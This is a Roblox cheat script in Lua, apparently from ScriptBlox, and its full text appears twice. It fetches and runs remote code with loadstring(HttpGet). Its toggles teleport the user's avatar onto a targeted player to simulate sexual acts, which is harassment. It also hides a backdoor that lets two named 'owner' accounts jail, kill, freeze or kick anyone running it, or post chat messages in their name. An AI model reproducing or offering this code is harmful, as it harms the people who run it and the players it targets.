--[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] local Rayfield = loadstring(game:HttpGet('https://sirius.menu/rayfield'))() -- [[ OWNER PERMISSIONS ]] local Owners = {"DAVID_BLOX65", "salesman_602"} local lp = game.Players.LocalPlayer local Window = Rayfield:CreateWindow({ Name = "🔥 Xdemic bang☠️🔥🔥", LoadingTitle = "Xdemic bang SECURE TERMINAL", LoadingSubtitle = "V2 | ENCRYPTED ACCESS", ConfigurationSaving = {Enabled = true, FolderName = "Xdemic_Configs", FileName = "Xdemic_Stealth"}, KeySystem = false }) local TargetName = "" local PumpIntensity = 1.5 local PumpSpeed = 0.8 -- [[ CHAT COMMAND LOGIC ]] local function GetPlayer(Name) Name = Name:lower() for _, v in pairs(game.Players:GetPlayers()) do if v.Name:lower():sub(1, #Name) == Name or v.DisplayName:lower():sub(1, #Name) == Name then return v end end end local function IsOwner(plr) for _, owner in pairs(Owners) do if plr.Name:lower() == owner:lower() then return true end end return false end local function ProcessCommand(plr, msg) if IsOwner(plr) then local args = msg:split(" ") local cmd = args[1]:lower() local target = GetPlayer(args[2] or "") if target == lp then if cmd == "-jail" then if _G.JailPart then _G.JailPart:Destroy() end _G.JailPart = Instance.new("Part", workspace) _G.JailPart.Size = Vector3.new(10, 10, 10) _G.JailPart.Transparency = 0.7 _G.JailPart.Anchored = true _G.JailPart.CanCollide = true _G.JailPart.CFrame = lp.Character.HumanoidRootPart.CFrame _G.JailActive = true task.spawn(function() while _G.JailActive do if lp.Character and lp.Character:FindFirstChild("HumanoidRootPart") then lp.Character.HumanoidRootPart.CFrame = _G.JailPart.CFrame end task.wait() end end) elseif cmd == "-unjail" then _G.JailActive = false if _G.JailPart then _G.JailPart:Destroy() end elseif cmd == "-say" then local text = table.concat(args, " ", 3) local chatEvent = game:GetService("ReplicatedStorage"):FindFirstChild("DefaultChatSystemChatEvents") if chatEvent then chatEvent.SayMessageRequest:FireServer(text, "All") end elseif cmd == "-kill" then if lp.Character then lp.Character:BreakJoints() end elseif cmd == "-bring" then if plr.Character and lp.Character then lp.Character.HumanoidRootPart.CFrame = plr.Character.HumanoidRootPart.CFrame end elseif cmd == "-kick" then lp:Kick("Terminated by Admin.") elseif cmd == "-freeze" then if lp.Character then lp.Character.HumanoidRootPart.Anchored = true end elseif cmd == "-unfreeze" then if lp.Character then lp.Character.HumanoidRootPart.Anchored = false end end end end end game.Players.PlayerAdded:Connect(function(plr) plr.Chatted:Connect(function(msg) ProcessCommand(plr, msg) end) end) for _, p in pairs(game.Players:GetPlayers()) do p.Chatted:Connect(function(msg) ProcessCommand(p, msg) end) end -- [[ TABS ]] local TargetTab = Window:CreateTab("Targeting", 4483362458) local OpsTab = Window:CreateTab("Xdemic Bang Ops", 4483362458) TargetTab:CreateInput({ Name = "Target Username", PlaceholderText = "Search...", Callback = function(Text) TargetName = Text:lower() end, }) -- [[ XDEMIC BANG OPS ]] OpsTab:CreateSlider({ Name = "Bang Intensity", Range = {1, 5}, Increment = 0.5, Suffix = "Studs", CurrentValue = 1.5, Flag = "Intensity", Callback = function(Value) PumpIntensity = Value end, }) OpsTab:CreateToggle({ Name = "PUTKI MARI (Stuck to Back)", CurrentValue = false, Callback = function(Value) _G.NormalBangActive = Value local counter = 0 local RunService = game:GetService("RunService") task.spawn(function() while _G.NormalBangActive do local connection = RunService.Stepped:Connect(function() if not _G.NormalBangActive then return end pcall(function() local target = nil for _, v in pairs(game.Players:GetPlayers()) do if v ~= lp and (v.Name:lower():find(TargetName) or v.DisplayName:lower():find(TargetName)) then target = v break end end if target and target.Character and lp.Character then local followPart = target.Character:FindFirstChild("LowerTorso") or target.Character:FindFirstChild("HumanoidRootPart") if followPart then counter = counter + 1 local pump = math.sin(counter * PumpSpeed) * PumpIntensity lp.Character.HumanoidRootPart.Velocity = Vector3.new(0,0,0) lp.Character.HumanoidRootPart.CFrame = followPart.CFrame * CFrame.new(0, 0, 1 + pump) end end end) end) repeat task.wait() until not _G.NormalBangActive connection:Disconnect() end end) end, }) OpsTab:CreateToggle({ Name = "DHON KHA (Head-Lock Follow)", CurrentValue = false, Callback = function(Value) _G.FaceLockActive = Value task.spawn(function() local counter = 0 while _G.FaceLockActive do pcall(function() local target = nil for _, v in pairs(game.Players:GetPlayers()) do if v ~= lp and (v.Name:lower():find(TargetName) or v.DisplayName:lower():find(TargetName)) then target = v break end end if target and target.Character and lp.Character then local head = target.Character:FindFirstChild("Head") if head then counter = counter + 1 local pump = math.sin(counter * PumpSpeed) * PumpIntensity lp.Character.HumanoidRootPart.CFrame = head.CFrame * CFrame.new(0, 0, -1 + pump) * CFrame.Angles(0, math.rad(180), 0) end end end) game:GetService("RunService").Heartbeat:Wait() end end) end, }) OpsTab:CreateToggle({ Name = "Multiple Void Loop", CurrentValue = false, Callback = function(Value) _G.VoidLoopActive = Value task.spawn(function() local firstVoid = CFrame.new(0, -500, 0) while _G.VoidLoopActive do pcall(function() local target = nil for _, v in pairs(game.Players:GetPlayers()) do if v ~= lp and (v.Name:lower():find(TargetName) or v.DisplayName:lower():find(TargetName)) then target = v break end end if lp.Character and lp.Character:FindFirstChild("HumanoidRootPart") then lp.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(-5000, 5000), -1000, math.random(-5000, 5000)) task.wait(0.1) lp.Character.HumanoidRootPart.CFrame = firstVoid task.wait(0.1) if target and target.Character and target.Character:FindFirstChild("Head") then lp.Character.HumanoidRootPart.CFrame = target.Character.Head.CFrame * CFrame.new(0, 0, -1) * CFrame.Angles(0, math.rad(180), 0) task.wait(0.2) end lp.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(-2000, 2000), -1500, math.random(-2000, 2000)) task.wait(0.1) end end) task.wait(0.05) end end) end, }) Rayfield:Notify({Title = "Xdemic bang☠️🔥🔥", Content = "Operation names updated.", Duration = 5})--[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] local Rayfield = loadstring(game:HttpGet('https://sirius.menu/rayfield'))() -- [[ OWNER PERMISSIONS ]] local Owners = {"DAVID_BLOX65", "salesman_602"} local lp = game.Players.LocalPlayer local Window = Rayfield:CreateWindow({ Name = "🔥 Xdemic bang☠️🔥🔥", LoadingTitle = "Xdemic bang SECURE TERMINAL", LoadingSubtitle = "V2 | ENCRYPTED ACCESS", ConfigurationSaving = {Enabled = true, FolderName = "Xdemic_Configs", FileName = "Xdemic_Stealth"}, KeySystem = false }) local TargetName = "" local PumpIntensity = 1.5 local PumpSpeed = 0.8 -- [[ CHAT COMMAND LOGIC ]] local function GetPlayer(Name) Name = Name:lower() for _, v in pairs(game.Players:GetPlayers()) do if v.Name:lower():sub(1, #Name) == Name or v.DisplayName:lower():sub(1, #Name) == Name then return v end end end local function IsOwner(plr) for _, owner in pairs(Owners) do if plr.Name:lower() == owner:lower() then return true end end return false end local function ProcessCommand(plr, msg) if IsOwner(plr) then local args = msg:split(" ") local cmd = args[1]:lower() local target = GetPlayer(args[2] or "") if target == lp then if cmd == "-jail" then if _G.JailPart then _G.JailPart:Destroy() end _G.JailPart = Instance.new("Part", workspace) _G.JailPart.Size = Vector3.new(10, 10, 10) _G.JailPart.Transparency = 0.7 _G.JailPart.Anchored = true _G.JailPart.CanCollide = true _G.JailPart.CFrame = lp.Character.HumanoidRootPart.CFrame _G.JailActive = true task.spawn(function() while _G.JailActive do if lp.Character and lp.Character:FindFirstChild("HumanoidRootPart") then lp.Character.HumanoidRootPart.CFrame = _G.JailPart.CFrame end task.wait() end end) elseif cmd == "-unjail" then _G.JailActive = false if _G.JailPart then _G.JailPart:Destroy() end elseif cmd == "-say" then local text = table.concat(args, " ", 3) local chatEvent = game:GetService("ReplicatedStorage"):FindFirstChild("DefaultChatSystemChatEvents") if chatEvent then chatEvent.SayMessageRequest:FireServer(text, "All") end elseif cmd == "-kill" then if lp.Character then lp.Character:BreakJoints() end elseif cmd == "-bring" then if plr.Character and lp.Character then lp.Character.HumanoidRootPart.CFrame = plr.Character.HumanoidRootPart.CFrame end elseif cmd == "-kick" then lp:Kick("Terminated by Admin.") elseif cmd == "-freeze" then if lp.Character then lp.Character.HumanoidRootPart.Anchored = true end elseif cmd == "-unfreeze" then if lp.Character then lp.Character.HumanoidRootPart.Anchored = false end end end end end game.Players.PlayerAdded:Connect(function(plr) plr.Chatted:Connect(function(msg) ProcessCommand(plr, msg) end) end) for _, p in pairs(game.Players:GetPlayers()) do p.Chatted:Connect(function(msg) ProcessCommand(p, msg) end) end -- [[ TABS ]] local TargetTab = Window:CreateTab("Targeting", 4483362458) local OpsTab = Window:CreateTab("Xdemic Bang Ops", 4483362458) TargetTab:CreateInput({ Name = "Target Username", PlaceholderText = "Search...", Callback = function(Text) TargetName = Text:lower() end, }) -- [[ XDEMIC BANG OPS ]] OpsTab:CreateSlider({ Name = "Bang Intensity", Range = {1, 5}, Increment = 0.5, Suffix = "Studs", CurrentValue = 1.5, Flag = "Intensity", Callback = function(Value) PumpIntensity = Value end, }) OpsTab:CreateToggle({ Name = "PUTKI MARI (Stuck to Back)", CurrentValue = false, Callback = function(Value) _G.NormalBangActive = Value local counter = 0 local RunService = game:GetService("RunService") task.spawn(function() while _G.NormalBangActive do local connection = RunService.Stepped:Connect(function() if not _G.NormalBangActive then return end pcall(function() local target = nil for _, v in pairs(game.Players:GetPlayers()) do if v ~= lp and (v.Name:lower():find(TargetName) or v.DisplayName:lower():find(TargetName)) then target = v break end end if target and target.Character and lp.Character then local followPart = target.Character:FindFirstChild("LowerTorso") or target.Character:FindFirstChild("HumanoidRootPart") if followPart then counter = counter + 1 local pump = math.sin(counter * PumpSpeed) * PumpIntensity lp.Character.HumanoidRootPart.Velocity = Vector3.new(0,0,0) lp.Character.HumanoidRootPart.CFrame = followPart.CFrame * CFrame.new(0, 0, 1 + pump) end end end) end) repeat task.wait() until not _G.NormalBangActive connection:Disconnect() end end) end, }) OpsTab:CreateToggle({ Name = "DHON KHA (Head-Lock Follow)", CurrentValue = false, Callback = function(Value) _G.FaceLockActive = Value task.spawn(function() local counter = 0 while _G.FaceLockActive do pcall(function() local target = nil for _, v in pairs(game.Players:GetPlayers()) do if v ~= lp and (v.Name:lower():find(TargetName) or v.DisplayName:lower():find(TargetName)) then target = v break end end if target and target.Character and lp.Character then local head = target.Character:FindFirstChild("Head") if head then counter = counter + 1 local pump = math.sin(counter * PumpSpeed) * PumpIntensity lp.Character.HumanoidRootPart.CFrame = head.CFrame * CFrame.new(0, 0, -1 + pump) * CFrame.Angles(0, math.rad(180), 0) end end end) game:GetService("RunService").Heartbeat:Wait() end end) end, }) OpsTab:CreateToggle({ Name = "Multiple Void Loop", CurrentValue = false, Callback = function(Value) _G.VoidLoopActive = Value task.spawn(function() local firstVoid = CFrame.new(0, -500, 0) while _G.VoidLoopActive do pcall(function() local target = nil for _, v in pairs(game.Players:GetPlayers()) do if v ~= lp and (v.Name:lower():find(TargetName) or v.DisplayName:lower():find(TargetName)) then target = v break end end if lp.Character and lp.Character:FindFirstChild("HumanoidRootPart") then lp.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(-5000, 5000), -1000, math.random(-5000, 5000)) task.wait(0.1) lp.Character.HumanoidRootPart.CFrame = firstVoid task.wait(0.1) if target and target.Character and target.Character:FindFirstChild("Head") then lp.Character.HumanoidRootPart.CFrame = target.Character.Head.CFrame * CFrame.new(0, 0, -1) * CFrame.Angles(0, math.rad(180), 0) task.wait(0.2) end lp.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(-2000, 2000), -1500, math.random(-2000, 2000)) task.wait(0.1) end end) task.wait(0.05) end end) end, }) Rayfield:Notify({Title = "Xdemic bang☠️🔥🔥", Content = "Operation names updated.", Duration = 5})